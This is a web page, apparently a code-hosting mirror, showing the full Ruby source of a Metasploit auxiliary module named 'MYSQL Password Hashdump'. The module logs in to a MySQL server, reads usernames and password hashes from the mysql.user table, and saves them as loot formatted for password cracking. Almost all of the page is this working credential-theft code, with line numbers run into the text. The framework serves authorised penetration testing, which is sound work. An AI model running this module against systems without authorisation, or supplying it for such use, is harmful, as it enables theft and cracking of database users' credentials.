Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/mysql/mysql_hashdump.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MYSQL7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner9include Msf::OptionalSession::MySQL1011def initialize12super(13'Name' => 'MYSQL Password Hashdump',14'Description' => %(15This module extracts the usernames and encrypted password16hashes from a MySQL server and stores them for later cracking.17),18'Author' => ['theLightCosine'],19'License' => MSF_LICENSE20)21end2223def run_host(ip)24# If we have a session make use of it25if session26print_status("Using existing session #{session.sid}")27self.mysql_conn = session.client28else29# otherwise fallback to attempting to login30return unless mysql_login_datastore31end3233service_data = {34address: mysql_conn.peerhost,35port: mysql_conn.peerport,36service_name: 'mysql',37protocol: 'tcp',38workspace_id: myworkspace_id39}4041credential_data = {42module_fullname: self.fullname,43origin_type: :service,44private_data: datastore['PASSWORD'],45private_type: :password,46username: datastore['USERNAME']47}4849credential_data.merge!(service_data)5051credential_core = create_credential(credential_data)5253login_data = {54core: credential_core,55last_attempted_at: DateTime.now,56status: Metasploit::Model::Login::Status::SUCCESSFUL57}58login_data.merge!(service_data)5960create_credential_login(login_data)6162# Grab the username and password hashes and store them as loot63version = mysql_get_variable("@@version")6465if version.nil?66print_error("There was an error reading the version")67return68end6970# Starting from MySQL 5.7, the 'password' column was changed to 'authentication_string'.71if version[0..2].to_f > 5.672res = mysql_query("SELECT user,authentication_string from mysql.user")73else74res = mysql_query("SELECT user,password from mysql.user")75end7677if res.nil?78print_error("There was an error reading the MySQL User Table")79return80end8182service_data = {83address: ::Rex::Socket.getaddress(mysql_conn.peerhost, true),84port: mysql_conn.peerport,85service_name: 'mysql',86protocol: 'tcp',87workspace_id: myworkspace_id88}8990credential_data = {91origin_type: :service,92jtr_format: 'mysql,mysql-sha1',93module_fullname: self.fullname,94private_type: :nonreplayable_hash95}9697credential_data.merge!(service_data)9899if res.size > 0100res.each do |row|101credential_data[:username] = row[0]102credential_data[:private_data] = row[1]103print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}")104credential_core = create_credential(credential_data)105login_data = {106core: credential_core,107status: Metasploit::Model::Login::Status::UNTRIED108}109login_data.merge!(service_data)110create_credential_login(login_data)111end112end113end114end115116117